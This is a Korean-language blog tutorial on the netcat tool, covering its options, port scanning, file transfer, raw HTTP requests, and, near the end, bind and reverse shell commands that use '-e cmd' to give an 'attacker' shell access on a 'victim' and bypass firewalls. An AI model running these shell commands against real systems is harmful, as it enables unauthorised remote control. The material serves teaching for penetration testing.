넷캣(netcat, nc)의 활용

2019. 11. 17. 17:48보안 & 해킹/모의 침투

유튜브 바로가기

넷캣이란?

  • TCP/IP swiss army knife. 네트워크 해킹의 맥가이버같은 도구
  • netcat (혹은 nc)은 TCP 또는 UDP를 사용하여 네트워크 연결을 읽고 쓰는 데 사용되는 컴퓨터 네트워킹 유틸리티
  • 윈도우, 리눅스, 맥 등 다른 운영체제 및 스크립트에서 직접 또는 쉽게 구동
  • 리눅스나 맥의 경우 기본적으로 내장되어있는 경우가 대다수
  • 네트워크 디버깅 및 조사 도구로도 사용 가능함
  • 사용자가 필요로하는 거의 모든 종류의 연결을 생성 할 수 있고 여러 내장 기능이 있음.
  • 기능 목록에는 포트 스캔, 파일 전송 및 포트 수신이 포함되며 백도어로 사용가능

다운로드

윈도우 바이너리 및 소스
리눅스
윈도우용 exe 파일만 받기
Sans Netcat CheetSheet

옵션

        -d              콘솔에서 분리되어 백그라운드 모드로 실행
        -e prog         커넥션(Connection)이 이루어졌을 때 후 프로그램을 실행함 (위험!)
        -g gateway      source-routing hop point[s]를 8씩 증가
        -G num          source-routing point를 4, 8, 12 .. 4씩 증가
        -h              도움말
        -i secs         스캔된 포트로 전송된 회선의 지연 간격
        -l              인바운드 커넥션을 위해서 listen 모드로 실행
        -L              소켓 종료 시 재전송 실행
        -n              IP 주소 입력 (DNS 을 사용하지 않음)
        -o file         주고받은 데이터를 헥스 덤프(Hex Dump)하여 파일로 저장함
        -p port         로컬 포트를 지정함
        -r              로컬 이나 원격 포트를 임의로 지정함
        -s addr         로컬 출발지 주소를 지정함
        -t              Telnet 과 같은 협상 과정을 거치도록 설정함
        -c              LF 대신 CRLF 를 보냄
        -u              UDP 모드
        -v              자세한 설명 모드 (더 자세한 정보를 표시하기 위해 두 번 사용)
        -w secs         마지막으로 읽고 난 후 종료할 시간을 정함
        -z              zero-I/O 모드 (스캔 시 사용)

사용법


원격채팅연결

간단한 TCP 채팅을 실행할 수 있다.

nc -lvp 4444
nc [Target IP] 4444

포트스캔

범위를 지정하여 TCP, UDP 포트스캔을 할 수 있다. 네트워크 서비스를 점검할 때 nmap 대신 이용하면 간편하다.

범위지정 스캔
순차적 스캔이라 속도가 오래걸리므로 작은범위만 시도해보자.

C:\Users\HEP\Desktop>nc -zv hakhub.net 80-85
Warning: inverse host lookup failed for 110.35.142.2: h_errno 11004: NO_DATA
hakhub.net [110.35.142.2] 81 (hosts2-ns) open
hakhub.net [110.35.142.2] 80 (http) open

단일, 여러 포트 스캔

nc -vz hakhub.net 80 81 100

파일전송

서버(Kali Linux) -> 클라이언트(윈도우)로 파일 전송

서버
nc -l -p [Port] < [파일명]
클라이언트
nc -w3 [IP] [Port] > [파일명]

HTTP 연결

HTTP연결을 nc로 작성하여 시도할 수 있다.
모의해킹때 method 허용여부를 알아내려 할 때 편함.

~ 하지만 Postman이 더 편함 ~

C:\Users\HEP\Desktop>nc 110.35.142.2 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Sun, 17 Nov 2019 08:39:52 GMT
Server: Apache/2.4.34 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.34 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>

디스크 덤프

LiME과 같은 원격 시스템에서 Memory 덤프를 수행할 수 있다.
침해사고 대응에서 클라우드에 있는 원격지 서버의 Memory를 보존하기 힘든데, 이와 같은 방법도 사용할 수 있다.
원리는 간단하다. nc는 소캣을 열고 데이터 스트림을 그대로 raw값으로 파일로 옮겨쓰는 것이다.

정방향 쉘연결

윈도우는 cmd, 리눅스의 경우에는 /bin/bash 를 사용하여 쉘을 연결한다.
-e는 실행할 파일을 의미하며 쉘을 실행하면 시스템의 제어권한을 가져올 수 있다.

<피해자> nc -lvp [port_number] -e cmd
<공격자> nc [피해자 IP] [port_number]

역방향(reverse connection) 쉘연결

정방향 연결과 다른점은 NAT 환경 또는 방화벽 등으로 차단되어있을 때 reverse connection 을 이용하여 방화벽 정책을 우회할 수 있다.
이때 공격자가 먼저 포트를 열어놓아야 한다.

<공격자> nc -lvp 4444
<피해자> nc [공격자 IP] 4444 -e cmd

Reference

블로그 링크
위키